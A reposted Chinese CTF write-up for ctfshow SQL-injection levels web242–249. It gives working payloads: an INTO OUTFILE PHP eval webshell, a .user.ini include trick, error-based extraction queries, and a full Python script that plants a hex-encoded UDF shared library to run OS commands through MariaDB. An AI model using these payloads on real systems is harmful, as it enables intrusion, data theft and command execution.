ctfshow web sql注入 web242--web249

web242

into outfile 的使用

SELECT ... INTO OUTFILE 'file_name'[CHARACTER SET charset_name][export_options]export_options:[{FIELDS | COLUMNS}[TERMINATED BY 'string']//分隔符[[OPTIONALLY] ENCLOSED BY 'char'][ESCAPED BY 'char']][LINES[STARTING BY 'string'][TERMINATED BY 'string']]/***********************************************************/“OPTION”参数为可选参数选项，其可能的取值有：`FIELDS TERMINATED BY '字符串'`：设置字符串为字段之间的分隔符，可以为单个或多个字符。默认值是“\t”。`FIELDS ENCLOSED BY '字符'`：设置字符来括住字段的值，只能为单个字符。默认情况下不使用任何符号。`FIELDS OPTIONALLY ENCLOSED BY '字符'`：设置字符来括住CHAR、VARCHAR和TEXT等字符型字段。默认情况下不使用任何符号。`FIELDS ESCAPED BY '字符'`：设置转义字符，只能为单个字符。默认值为“\”。`LINES STARTING BY '字符串'`：设置每行数据开头的字符，可以为单个或多个字符。默认情况下不使用任何字符。`LINES TERMINATED BY '字符串'`：设置每行数据结尾的字符，可以为单个或多个字符。默认值是“\n”。

$sql = "select * from ctfshow_user into outfile '/var/www/html/dump/{$filename}';";

在这里插入图片描述

filename=1.php' lines terminated by '<?php eval($_POST[1]);?>'#

访问/dump/1.php
1=system('cat /f*');

web243

过滤了php
用.user.ini包含

filename=.user.ini' lines starting by 'auto_prepend_file=1.txt\n'#
过滤了php修改一下马的写法
filename=1.txt' lines starting by '<?= eval($_POST[1]);?>'#
在1.txt并不能getshell，只能在index.php我觉得很神

web244

  $sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;";

在api进行注入

?id=1' or updatexml(1,concat(0x3d,mid((select group_concat(schema_name) from information_schema.schemata),32,32),0x3d),1)--+?id=1' or updatexml(1,concat(0x3d,mid((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),1,32),0x3d),1)--+?id=1' or updatexml(1,concat(0x3d,mid((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flag'),1,32),0x3d),1)--+?id=1' or updatexml(1,concat(0x3d,mid((select group_concat(flag) from ctfshow_flag),1,32),0x3d),1)--+?id=1' or updatexml(1,concat(0x3d,mid((select group_concat(flag) from ctfshow_flag),32,32),0x3d),1)--+

web245

?id=1' or extractvalue(1,(查询语句))--+?id=1' or extractvalue(1,concat(0x3d,mid((select group_concat(schema_name) from information_schema.schemata),32,32),0x3d))--+?id=1' or extractvalue(1,concat(0x3d,mid((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),1,32),0x3d))--+
ctfshow_flagsa?id=1' or extractvalue(1,concat(0x3d,mid((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagsa'),1,32),0x3d))--+
flag1?id=1' or extractvalue(1,concat(0x3d,mid((select group_concat(flag1) from ctfshow_flagsa),1,32),0x3d))--+
?id=1' or extractvalue(1,concat(0x3d,mid((select group_concat(flag1) from ctfshow_flagsa),32,32),0x3d))--+

web246

双查询报错注入

?id=1' union select 1,count(*),concat(mid((select group_concat(schema_name) from information_schema.schemata),32,32),0x7e,floor(rand()*2))a from information_schema.tables group by a--+?id=1' union select 1,count(*),concat((select schema_name from information_schema.schemata limit 4,1),0x7e,floor(rand()*2))a from information_schema.tables group by a--+

mid和limit都行，我比较喜欢用mid

?id=1' union select 1,count(*),concat(mid((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),1,32),0x7e,floor(rand()*2))a from information_schema.tables group by a--+?id=1' union select 1,count(*),concat(mid((select group_concat(flag2) from ctfshow_web.ctfshow_flags),1,32),0x7e,floor(rand()*2))a from information_schema.tables group by a--+?id=1' union select 1,count(*),concat(mid((select group_concat(flag2) from ctfshow_web.ctfshow_flags),32,32),0x7e,floor(rand()*2))a from information_schema.tables group by a--+

web247

ceil()-向上取整函数
ceil(x) 返回不小于 x 的最小整数，即向上取整。
例如，ceil(3.14) 返回 4。round() - 四舍五入函数
round(x) 返回最接近 x 的整数，如果有两个整数与 x 距离相等，则返回偶数的整数。
例如，round(3.6) 返回 4，round(3.5) 返回 4，round(3.4) 返回 3。

用这两个替换floor这个向下取整函数

?id=1' union select 1,count(*),concat(mid((select group_concat(schema_name) from information_schema.schemata),32,32),0x7e,ceil(rand()*2))a from information_schema.tables group by a--+?id=1' union select 1,count(*),concat(mid((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),1,32),0x7e,round(rand()*2))a from information_schema.tables group by a--+?id=1' union select 1,count(*),concat(mid((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagsa'),1,32),0x7e,round(rand()*2))a from information_schema.tables group by a--+
flag?用``进行解析
?id=1' union select 1,count(*),concat(mid((select `flag?` from ctfshow_web.ctfshow_flagsa),1,32),0x7e,round(rand()*2))a from information_schema.tables group by a--+

web248

UDF提权注入

#参考脚本
#环境：Linux/MariaDB
import requestsurl='http://89a7098e-03f5-47f3-9cb5-1f1cd3d640e9.challenge.ctf.show:8080/api/?id='
code='7F454C4602010100000000000000000003003E0001000000800A000000000000400000000000000058180000000000000000000040003800060040001C0019000100000005000000000000000000000000000000000000000000000000000000C414000000000000C41400000000000000002000000000000100000006000000C814000000000000C814200000000000C8142000000000004802000000000000580200000000000000002000000000000200000006000000F814000000000000F814200000000000F814200000000000800100000000000080010000000000000800000000000000040000000400000090010000000000009001000000000000900100000000000024000000000000002400000000000000040000000000000050E574640400000044120000000000004412000000000000441200000000000084000000000000008400000000000000040000000000000051E5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000040000001400000003000000474E5500D7FF1D94176ABA0C150B4F3694D2EC995AE8E1A8000000001100000011000000020000000700000080080248811944C91CA44003980468831100000013000000140000001600000017000000190000001C0000001E000000000000001F00000000000000200000002100000022000000230000002400000000000000CE2CC0BA673C7690EBD3EF0E78722788B98DF10ED971581CA868BE12BBE3927C7E8B92CD1E7066A9C3F9BFBA745BB073371974EC4345D5ECC5A62C1CC3138AFF3B9FD4A0AD73D1C50B5911FEAB5FBE1200000000000000000000000000000000000000000000000000000000000000000300090088090000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000CD00000012000000000000000000000000000000000000001E0100001200000000000000000000000000000000000000620100001200000000000000000000000000000000000000E30000001200000000000000000000000000000000000000B90000001200000000000000000000000000000000000000680100001200000000000000000000000000000000000000160000002200000000000000000000000000000000000000540000001200000000000000000000000000000000000000F00000001200000000000000000000000000000000000000B200000012000000000000000000000000000000000000005A01000012000000000000000000000000000000000000005201000012000000000000000000000000000000000000004C0100001200000000000000000000000000000000000000E800000012000B00D10D000000000000D1000000000000003301000012000B00A90F0000000000000A000000000000001000000012000C00481100000000000000000000000000007800000012000B009F0B0000000000004C00000000000000FF0000001200090088090000000000000000000000000000800100001000F1FF101720000000000000000000000000001501000012000B00130F0000000000002F000000000000008C0100001000F1FF201720000000000000000000000000009B00000012000B00480C0000000000000A000000000000002501000012000B00420F0000000000006700000000000000AA00000012000B00520C00000000000063000000000000005B00000012000B00950B0000000000000A000000000000008E00000012000B00EB0B0000000000005D00000000000000790100001000F1FF101720000000000000000000000000000501000012000B00090F0000000000000A00000000000000C000000012000B00B50C000000000000F100000000000000F700000012000B00A20E00000000000067000000000000003900000012000B004C0B0000000000004900000000000000D400000012000B00A60D0000000000002B000000000000004301000012000B00B30F0000000000005501000000000000005F5F676D6F6E5F73746172745F5F005F66696E69005F5F6378615F66696E616C697A65005F4A765F5265676973746572436C6173736573006C69625F6D7973716C7564665F7379735F696E666F5F696E6974006D656D637079006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974006C69625F6D7973716C7564665F7379735F696E666F007379735F6765745F696E6974007379735F6765745F6465696E6974007379735F67657400676574656E76007374726C656E007379735F7365745F696E6974006D616C6C6F63007379735F7365745F6465696E69740066726565007379735F73657400736574656E76007379735F657865635F696E6974007379735F657865635F6465696E6974007379735F657865630073797374656D007379735F6576616C5F696E6974007379735F6576616C5F6465696E6974007379735F6576616C00706F70656E007265616C6C6F63007374726E6370790066676574730070636C6F7365006C6962632E736F2E36005F6564617461005F5F6273735F7374617274005F656E6400474C4942435F322E322E3500000000000000000000020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001006F0100001000000000000000751A6909000002009101000000000000F0142000000000000800000000000000F0142000000000007816200000000000060000000200000000000000000000008016200000000000060000000300000000000000000000008816200000000000060000000A0000000000000000000000A81620000000000007000000040000000000000000000000B01620000000000007000000050000000000000000000000B81620000000000007000000060000000000000000000000C01620000000000007000000070000000000000000000000C81620000000000007000000080000000000000000000000D01620000000000007000000090000000000000000000000D816200000000000070000000A0000000000000000000000E016200000000000070000000B0000000000000000000000E816200000000000070000000C0000000000000000000000F016200000000000070000000D0000000000000000000000F816200000000000070000000E00000000000000000000000017200000000000070000000F00000000000000000000000817200000000000070000001000000000000000000000004883EC08E8EF000000E88A010000E8750700004883C408C3FF35F20C2000FF25F40C20000F1F4000FF25F20C20006800000000E9E0FFFFFFFF25EA0C20006801000000E9D0FFFFFFFF25E20C20006802000000E9C0FFFFFFFF25DA0C20006803000000E9B0FFFFFFFF25D20C20006804000000E9A0FFFFFFFF25CA0C20006805000000E990FFFFFFFF25C20C20006806000000E980FFFFFFFF25BA0C20006807000000E970FFFFFFFF25B20C20006808000000E960FFFFFFFF25AA0C20006809000000E950FFFFFFFF25A20C2000680A000000E940FFFFFFFF259A0C2000680B000000E930FFFFFFFF25920C2000680C000000E920FFFFFF4883EC08488B05ED0B20004885C07402FFD04883C408C390909090909090909055803D680C2000004889E5415453756248833DD00B200000740C488D3D2F0A2000E84AFFFFFF488D1D130A20004C8D25040A2000488B053D0C20004C29E348C1FB034883EB014839D873200F1F4400004883C0014889051D0C200041FF14C4488B05120C20004839D872E5C605FE0B2000015B415CC9C3660F1F84000000000048833DC009200000554889E5741A488B054B0B20004885C0740E488D3DA7092000C9FFE00F1F4000C9C39090554889E54883EC3048897DE8488975E0488955D8488B45E08B0085C07421488D0DE7050000488B45D8BA320000004889CE4889C7E89BFEFFFFC645FF01EB04C645FF000FB645FFC9C3554889E548897DF8C9C3554889E54883EC3048897DF8488975F0488955E848894DE04C8945D84C894DD0488D0DCA050000488B45E8BA1F0000004889CE4889C7E846FEFFFF488B45E048C7001E000000488B45E8C9C3554889E54883EC2048897DF8488975F0488955E8488B45F08B0083F801751C488B45F0488B40088B0085C0750E488B45F8C60001B800000000EB20488D0D83050000488B45E8BA2B0000004889CE4889C7E8DFFDFFFFB801000000C9C3554889E548897DF8C9C3554889E54883EC4048897DE8488975E0488955D848894DD04C8945C84C894DC0488B45E0488B4010488B004889C7E8BBFDFFFF488945F848837DF8007509488B45C8C60001EB16488B45F84889C7E84BFDFFFF4889C2488B45D0488910488B45F8C9C3554889E54883EC2048897DF8488975F0488955E8488B45F08B0083F8027425488D0D05050000488B45E8BA1F0000004889CE4889C7E831FDFFFFB801000000E9AB000000488B45F0488B40088B0085C07422488D0DF2040000488B45E8BA280000004889CE4889C7E8FEFCFFFFB801000000EB7B488B45F0488B40084883C004C70000000000488B45F0488B4018488B10488B45F0488B40184883C008488B00488D04024883C0024889C7E84BFCFFFF4889C2488B45F848895010488B45F8488B40104885C07522488D0DA4040000488B45E8BA1A0000004889CE4889C7E888FCFFFFB801000000EB05B800000000C9C3554889E54883EC1048897DF8488B45F8488B40104885C07410488B45F8488B40104889C7E811FCFFFFC9C3554889E54883EC3048897DE8488975E0488955D848894DD0488B45E8488B4010488945F0488B45E0488B4018488B004883C001480345F0488945F8488B45E0488B4018488B10488B45E0488B4010488B08488B45F04889CE4889C7E8EFFBFFFF488B45E0488B4018488B00480345F0C60000488B45E0488B40184883C008488B10488B45E0488B40104883C008488B08488B45F84889CE4889C7E8B0FBFFFF488B45E0488B40184883C008488B00480345F8C60000488B4DF8488B45F0BA010000004889CE4889C7E892FBFFFF4898C9C3554889E54883EC3048897DE8488975E0488955D8C745FC00000000488B45E08B0083F801751F488B45E0488B40088B55FC48C1E2024801D08B0085C07507B800000000EB20488D0DC2020000488B45D8BA2B0000004889CE4889C7E81EFBFFFFB801000000C9C3554889E548897DF8C9C3554889E54883EC2048897DF8488975F0488955E848894DE0488B45F0488B4010488B004889C7E882FAFFFF4898C9C3554889E54883EC3048897DE8488975E0488955D8C745FC00000000488B45E08B0083F801751F488B45E0488B40088B55FC48C1E2024801D08B0085C07507B800000000EB20488D0D22020000488B45D8BA2B0000004889CE4889C7E87EFAFFFFB801000000C9C3554889E548897DF8C9C3554889E54881EC500400004889BDD8FBFFFF4889B5D0FBFFFF488995C8FBFFFF48898DC0FBFFFF4C8985B8FBFFFF4C898DB0FBFFFFBF01000000E8BEF9FFFF488985C8FBFFFF48C745F000000000488B85D0FBFFFF488B4010488B00488D352C0200004889C7E852FAFFFF488945E8EB63488D85E0FBFFFF4889C7E8BDF9FFFF488945F8488B45F8488B55F04801C2488B85C8FBFFFF4889D64889C7E80CFAFFFF488985C8FBFFFF488D85E0FBFFFF488B55F0488B8DC8FBFFFF4801D1488B55F84889C64889CFE8D1F9FFFF488B45F8480145F0488B55E8488D85E0FBFFFFBE000400004889C7E831F9FFFF4885C07580488B45E84889C7E850F9FFFF488B85C8FBFFFF0FB60084C0740A4883BDC8FBFFFF00750C488B85B8FBFFFFC60001EB2B488B45F0488B95C8FBFFFF488D0402C60000488B85C8FBFFFF4889C7E8FBF8FFFF488B95C0FBFFFF488902488B85C8FBFFFFC9C39090909090909090554889E5534883EC08488B05A80320004883F8FF7419488D1D9B0320000F1F004883EB08FFD0488B034883F8FF75F14883C4085BC9C390904883EC08E84FF9FFFF4883C408C300004E6F20617267756D656E747320616C6C6F77656420287564663A206C69625F6D7973716C7564665F7379735F696E666F29000000000000006C69625F6D7973716C7564665F7379732076657273696F6E20302E302E33000045787065637465642065786163746C79206F6E6520737472696E67207479706520706172616D6574657200000000000045787065637465642065786163746C792074776F20617267756D656E74730000457870656374656420737472696E67207479706520666F72206E616D6520706172616D6574657200436F756C64206E6F7420616C6C6F63617465206D656D6F7279007200011B033B800000000F00000008F9FFFF9C00000051F9FFFFBC0000005BF9FFFFDC000000A7F9FFFFFC00000004FAFFFF1C0100000EFAFFFF3C01000071FAFFFF5C01000062FBFFFF7C0100008DFBFFFF9C0100005EFCFFFFBC010000C5FCFFFFDC010000CFFCFFFFFC010000FEFCFFFF1C02000065FDFFFF3C0200006FFDFFFF5C0200001400000000000000017A5200017810011B0C0708900100001C0000001C00000064F8FFFF4900000000410E108602430D0602440C070800001C0000003C0000008DF8FFFF0A00000000410E108602430D06450C07080000001C0000005C00000077F8FFFF4C00000000410E108602430D0602470C070800001C0000007C000000A3F8FFFF5D00000000410E108602430D0602580C070800001C0000009C000000E0F8FFFF0A00000000410E108602430D06450C07080000001C000000BC000000CAF8FFFF6300000000410E108602430D06025E0C070800001C000000DC0000000DF9FFFFF100000000410E108602430D0602EC0C070800001C000000FC000000DEF9FFFF2B00000000410E108602430D06660C07080000001C0000001C010000E9F9FFFFD100000000410E108602430D0602CC0C070800001C0000003C0100009AFAFFFF6700000000410E108602430D0602620C070800001C0000005C010000E1FAFFFF0A00000000410E108602430D06450C07080000001C0000007C010000CBFAFFFF2F00000000410E108602430D066A0C07080000001C0000009C010000DAFAFFFF6700000000410E108602430D0602620C070800001C000000BC01000021FBFFFF0A00000000410E108602430D06450C07080000001C000000DC0100000BFBFFFF5501000000410E108602430D060350010C0708000000000000000000FFFFFFFFFFFFFFFF0000000000000000FFFFFFFFFFFFFFFF00000000000000000000000000000000F01420000000000001000000000000006F010000000000000C0000000000000088090000000000000D000000000000004811000000000000F5FEFF6F00000000B8010000000000000500000000000000E805000000000000060000000000000070020000000000000A000000000000009D010000000000000B000000000000001800000000000000030000000000000090162000000000000200000000000000380100000000000014000000000000000700000000000000170000000000000050080000000000000700000000000000F0070000000000000800000000000000600000000000000009000000000000001800000000000000FEFFFF6F00000000D007000000000000FFFFFF6F000000000100000000000000F0FFFF6F000000008607000000000000F9FFFF6F0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000F81420000000000000000000000000000000000000000000B609000000000000C609000000000000D609000000000000E609000000000000F609000000000000060A000000000000160A000000000000260A000000000000360A000000000000460A000000000000560A000000000000660A000000000000760A0000000000004743433A2028474E552920342E342E3720323031323033313320285265642048617420342E342E372D3429004743433A2028474E552920342E342E3720323031323033313320285265642048617420342E342E372D31372900002E73796D746162002E737472746162002E7368737472746162002E6E6F74652E676E752E6275696C642D6964002E676E752E68617368002E64796E73796D002E64796E737472002E676E752E76657273696F6E002E676E752E76657273696F6E5F72002E72656C612E64796E002E72656C612E706C74002E696E6974002E74657874002E66696E69002E726F64617461002E65685F6672616D655F686472002E65685F6672616D65002E63746F7273002E64746F7273002E6A6372002E646174612E72656C2E726F002E64796E616D6963002E676F74002E676F742E706C74002E627373002E636F6D6D656E7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001B0000000700000002000000000000009001000000000000900100000000000024000000000000000000000000000000040000000000000000000000000000002E000000F6FFFF6F0200000000000000B801000000000000B801000000000000B400000000000000030000000000000008000000000000000000000000000000380000000B000000020000000000000070020000000000007002000000000000780300000000000004000000020000000800000000000000180000000000000040000000030000000200000000000000E805000000000000E8050000000000009D0100000000000000000000000000000100000000000000000000000000000048000000FFFFFF6F0200000000000000860700000000000086070000000000004A0000000000000003000000000000000200000000000000020000000000000055000000FEFFFF6F0200000000000000D007000000000000D007000000000000200000000000000004000000010000000800000000000000000000000000000064000000040000000200000000000000F007000000000000F00700000000000060000000000000000300000000000000080000000000000018000000000000006E000000040000000200000000000000500800000000000050080000000000003801000000000000030000000A000000080000000000000018000000000000007800000001000000060000000000000088090000000000008809000000000000180000000000000000000000000000000400000000000000000000000000000073000000010000000600000000000000A009000000000000A009000000000000E0000000000000000000000000000000040000000000000010000000000000007E000000010000000600000000000000800A000000000000800A000000000000C80600000000000000000000000000001000000000000000000000000000000084000000010000000600000000000000481100000000000048110000000000000E000000000000000000000000000000040000000000000000000000000000008A00000001000000020000000000000058110000000000005811000000000000EC0000000000000000000000000000000800000000000000000000000000000092000000010000000200000000000000441200000000000044120000000000008400000000000000000000000000000004000000000000000000000000000000A0000000010000000200000000000000C812000000000000C812000000000000FC01000000000000000000000000000008000000000000000000000000000000AA000000010000000300000000000000C814200000000000C8140000000000001000000000000000000000000000000008000000000000000000000000000000B1000000010000000300000000000000D814200000000000D8140000000000001000000000000000000000000000000008000000000000000000000000000000B8000000010000000300000000000000E814200000000000E8140000000000000800000000000000000000000000000008000000000000000000000000000000BD000000010000000300000000000000F014200000000000F0140000000000000800000000000000000000000000000008000000000000000000000000000000CA000000060000000300000000000000F814200000000000F8140000000000008001000000000000040000000000000008000000000000001000000000000000D3000000010000000300000000000000781620000000000078160000000000001800000000000000000000000000000008000000000000000800000000000000D8000000010000000300000000000000901620000000000090160000000000008000000000000000000000000000000008000000000000000800000000000000E1000000080000000300000000000000101720000000000010170000000000001000000000000000000000000000000008000000000000000000000000000000E60000000100000030000000000000000000000000000000101700000000000059000000000000000000000000000000010000000000000001000000000000001100000003000000000000000000000000000000000000006917000000000000EF00000000000000000000000000000001000000000000000000000000000000010000000200000000000000000000000000000000000000581F00000000000068070000000000001B0000002C00000008000000000000001800000000000000090000000300000000000000000000000000000000000000C02600000000000042030000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000003000100900100000000000000000000000000000000000003000200B80100000000000000000000000000000000000003000300700200000000000000000000000000000000000003000400E80500000000000000000000000000000000000003000500860700000000000000000000000000000000000003000600D00700000000000000000000000000000000000003000700F00700000000000000000000000000000000000003000800500800000000000000000000000000000000000003000900880900000000000000000000000000000000000003000A00A00900000000000000000000000000000000000003000B00800A00000000000000000000000000000000000003000C00481100000000000000000000000000000000000003000D00581100000000000000000000000000000000000003000E00441200000000000000000000000000000000000003000F00C81200000000000000000000000000000000000003001000C81420000000000000000000000000000000000003001100D81420000000000000000000000000000000000003001200E81420000000000000000000000000000000000003001300F01420000000000000000000000000000000000003001400F81420000000000000000000000000000000000003001500781620000000000000000000000000000000000003001600901620000000000000000000000000000000000003001700101720000000000000000000000000000000000003001800000000000000000000000000000000000100000002000B00800A0000000000000000000000000000110000000400F1FF000000000000000000000000000000001C00000001001000C81420000000000000000000000000002A00000001001100D81420000000000000000000000000003800000001001200E81420000000000000000000000000004500000002000B00A00A00000000000000000000000000005B00000001001700101720000000000001000000000000006A00000001001700181720000000000008000000000000007800000002000B00200B0000000000000000000000000000110000000400F1FF000000000000000000000000000000008400000001001000D01420000000000000000000000000009100000001000F00C01400000000000000000000000000009F00000001001200E8142000000000000000000000000000AB00000002000B0010110000000000000000000000000000C10000000400F1FF00000000000000000000000000000000D40000000100F1FF90162000000000000000000000000000EA00000001001300F0142000000000000000000000000000F700000001001100E0142000000000000000000000000000040100000100F1FFF81420000000000000000000000000000D01000012000B00D10D000000000000D1000000000000001501000012000B00130F0000000000002F000000000000001E01000020000000000000000000000000000000000000002D01000020000000000000000000000000000000000000004101000012000C00481100000000000000000000000000004701000012000B00A90F0000000000000A000000000000005701000012000000000000000000000000000000000000006B01000012000000000000000000000000000000000000007F01000012000B00A20E00000000000067000000000000008D01000012000B00B30F0000000000005501000000000000960100001200000000000000000000000000000000000000A901000012000B00950B0000000000000A00000000000000C601000012000B00B50C000000000000F100000000000000D30100001200000000000000000000000000000000000000E50100001200000000000000000000000000000000000000F901000012000000000000000000000000000000000000000D02000012000B004C0B00000000000049000000000000002802000022000000000000000000000000000000000000004402000012000B00A60D0000000000002B000000000000005302000012000B00EB0B0000000000005D000000000000006002000012000B00480C0000000000000A000000000000006F02000012000000000000000000000000000000000000008302000012000B00420F0000000000006700000000000000910200001200000000000000000000000000000000000000A50200001200000000000000000000000000000000000000B902000012000B00520C0000000000006300000000000000C10200001000F1FF10172000000000000000000000000000CD02000012000B009F0B0000000000004C00000000000000E30200001000F1FF20172000000000000000000000000000E80200001200000000000000000000000000000000000000FD02000012000B00090F0000000000000A000000000000000D0300001200000000000000000000000000000000000000220300001000F1FF101720000000000000000000000000002903000012000000000000000000000000000000000000003C03000012000900880900000000000000000000000000000063616C6C5F676D6F6E5F73746172740063727473747566662E63005F5F43544F525F4C4953545F5F005F5F44544F525F4C4953545F5F005F5F4A43525F4C4953545F5F005F5F646F5F676C6F62616C5F64746F72735F61757800636F6D706C657465642E363335320064746F725F6964782E36333534006672616D655F64756D6D79005F5F43544F525F454E445F5F005F5F4652414D455F454E445F5F005F5F4A43525F454E445F5F005F5F646F5F676C6F62616C5F63746F72735F617578006C69625F6D7973716C7564665F7379732E63005F474C4F42414C5F4F46465345545F5441424C455F005F5F64736F5F68616E646C65005F5F44544F525F454E445F5F005F44594E414D4943007379735F736574007379735F65786563005F5F676D6F6E5F73746172745F5F005F4A765F5265676973746572436C6173736573005F66696E69007379735F6576616C5F6465696E6974006D616C6C6F634040474C4942435F322E322E350073797374656D4040474C4942435F322E322E35007379735F657865635F696E6974007379735F6576616C0066676574734040474C4942435F322E322E35006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974007379735F7365745F696E697400667265654040474C4942435F322E322E35007374726C656E4040474C4942435F322E322E350070636C6F73654040474C4942435F322E322E35006C69625F6D7973716C7564665F7379735F696E666F5F696E6974005F5F6378615F66696E616C697A654040474C4942435F322E322E35007379735F7365745F6465696E6974007379735F6765745F696E6974007379735F6765745F6465696E6974006D656D6370794040474C4942435F322E322E35007379735F6576616C5F696E697400736574656E764040474C4942435F322E322E3500676574656E764040474C4942435F322E322E35007379735F676574005F5F6273735F7374617274006C69625F6D7973716C7564665F7379735F696E666F005F656E64007374726E6370794040474C4942435F322E322E35007379735F657865635F6465696E6974007265616C6C6F634040474C4942435F322E322E35005F656461746100706F70656E4040474C4942435F322E322E35005F696E697400'
codes=[]
for i in range(0,len(code),128):codes.append(code[i:min(i+128,len(code))])#建临时表
sql='''create table temp(data longblob)'''
payload='''0';{};-- A'''.format(sql)
requests.get(url+payload)#清空临时表
sql='''delete from temp'''
payload='''0';{};-- A'''.format(sql)
requests.get(url+payload)#插入第一段数据
sql='''insert into temp(data) values (0x{})'''.format(codes[0])
payload='''0';{};-- A'''.format(sql)
requests.get(url+payload)#更新连接剩余数据
for k in range(1,len(codes)):sql='''update temp set data = concat(data,0x{})'''.format(codes[k])payload='''0';{};-- A'''.format(sql)requests.get(url+payload)#10.3.18-MariaDB    
#写入so文件
sql='''select data from temp into dumpfile '/usr/lib/mariadb/plugin/udf.so\''''
payload='''0';{};-- A'''.format(sql)
requests.get(url+payload)#引入自定义函数
sql='''create function sys_eval returns string soname 'udf.so\''''
payload='''0';{};-- A'''.format(sql)
requests.get(url+payload)#命令执行，结果更新到界面
sql='''update ctfshow_user set pass=(select sys_eval('cat /flag.her?'))'''
payload='''0';{};-- A'''.format(sql)
requests.get(url+payload)#查看结果
r=requests.get(url[:-4]+'?page=1&limit=10')
print(r.text)

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.xdnf.cn/news/1473985.html

如若内容造成侵权/违法违规/事实不符，请联系一条长河网进行投诉反馈，一经查实，立即删除！

相关文章

C++11|包装器

C++11|包装器

目录 引入 一、function包装器 1.1包装器使用 1.2包装器解决类型复杂 二、bind包装器 引入 在我们学过的回调中&#xff0c;函数指针&#xff0c;仿函数&#xff0c;lambda都可以完成&#xff0c;但他们都有一个缺点&#xff0c;就是类型的推导复杂性&#xff0c;从而会…
阅读更多...
aardio —— 今日减bug

aardio —— 今日减bug

打字就减bug 鼠标双击也减bug 看看有多少bug够你减的 使用方法&#xff1a; 1、将资源附件解压缩&#xff0c;里面的文件夹&#xff0c;放到aardio\plugin\plugins 目录 2、aardio 启动插件 → 插件设置 → 选中“今日减bug” → 保存。 3、重启 aardio&#xff0c;等aa…
阅读更多...
解决IDEA每次新建项目都需要重新配置maven的问题

解决IDEA每次新建项目都需要重新配置maven的问题

每次打开IDEA都要重新配置maven&#xff0c;这是因为在DEA中分为项目设置和全局设置&#xff0c;这个时候我们就需要去到全局中设置maven了。我用的是IntelliJ IDEA 2023.3.4 (Ultimate Edition)&#xff0c;以此为例。 第一步&#xff1a;打开一个空的IDEA&#xff0c;选择左…
阅读更多...
起飞，纯本地实时语音转文字！

起飞，纯本地实时语音转文字！

简介 偶然在 github 上翻到了这个项目 https://github.com/k2-fsa/sherpa-ncnn 在没有互联网连接的情况下使用带有 ncnn 的下一代 Kaldi 进行实时语音识别。支持 iOS、Android、Raspberry Pi、VisionFive2、LicheePi4A等。 也就是说语音转文字可以不再借助网络服务的接口&am…
阅读更多...
昇思MindSpore学习笔记4-03生成式--Diffusion扩散模型

昇思MindSpore学习笔记4-03生成式--Diffusion扩散模型

摘要&#xff1a; 记录昇思MindSpore AI框架使用DDPM模型给图像数据正向逐步添加噪声&#xff0c;反向逐步去除噪声的工作原理和实际使用方法、步骤。 一、概念 1. 扩散模型Diffusion Models DDPM(denoising diffusion probabilistic model) &#xff08;无&#xff09;条件…
阅读更多...
昇思25天学习打卡营第8天|模型权重与 MindIR 的保存加载

昇思25天学习打卡营第8天|模型权重与 MindIR 的保存加载

目录 导入Python 库和模块 创建神经网络模型 保存和加载模型权重 保存和加载MindIR 导入Python 库和模块 上一章节着重阐述了怎样对超参数予以调整&#xff0c;以及如何开展网络模型的训练工作。在网络模型训练的整个进程当中&#xff0c;事实上我们满怀期望能够留存中间阶段…
阅读更多...
眼底图像生成新 SOTA：GeCA模拟生物细胞的演变过程

眼底图像生成新 SOTA：GeCA模拟生物细胞的演变过程

眼底图像生成新 SOTA&#xff1a;GeCA模拟生物细胞的演变过程 提出背景GeCA 框架生成元胞自动机&#xff1a;从单细胞到生物体的过程生物体从单个像素细胞开始细胞扩散&#xff1a;从细胞演变为生物体通过基因遗传改进逆向采样视网膜疾病分类GeCA 逻辑拆解子解法1&#xff1a;神…
阅读更多...
Go高级库存照片源码v5.3

Go高级库存照片源码v5.3

GoStock – 免费和付费库存照片脚本这是一个免费和付费共享高质量库存照片的平台，用户可以上传照片与整个社区和访客分享，并可以通过 PayPal 接收捐款。此外，用户还可以点赞、评论、分享和收藏您最喜欢的照片。 下载 特征： 使用Laravel 10构建订阅系统Stripe 连接渐进式网页…
阅读更多...
【Python机器学习】模型评估与改进——分层k折交叉验证

【Python机器学习】模型评估与改进——分层k折交叉验证

在k折分层验证中&#xff0c;将数据集划分为k折时&#xff0c;从数据的前k分之一开始划分&#xff0c;这可能并不总是一个好主意&#xff0c;例如iris数据集中&#xff1a; from sklearn.datasets import load_irisirisload_iris() print(Iris labels:\n:{}.format(iris.targe…
阅读更多...
2.Python学习：数据类型和变量

2.Python学习：数据类型和变量

1.标识符命名规则 只能由数字、字母、下划线组成不能以数字开头不能是关键字&#xff08;如class等python内部已经使用的标识符&#xff09;区分大小写 查看关键字&#xff1a; print(keyword.kwlist)2.数据类型 2.1常见数据类型 2.1.1Number数值型&#xff1a; 整数int&a…
阅读更多...
13 - Python网络编程入门

13 - Python网络编程入门

网络编程入门 计算机网络基础 计算机网络是独立自主的计算机互联而成的系统的总称&#xff0c;组建计算机网络最主要的目的是实现多台计算机之间的通信和资源共享。今天计算机网络中的设备和计算机网络的用户已经多得不可计数&#xff0c;而计算机网络也可以称得上是一个“复…
阅读更多...
自定义isdate函数，判定日期字符串有效性

自定义isdate函数，判定日期字符串有效性

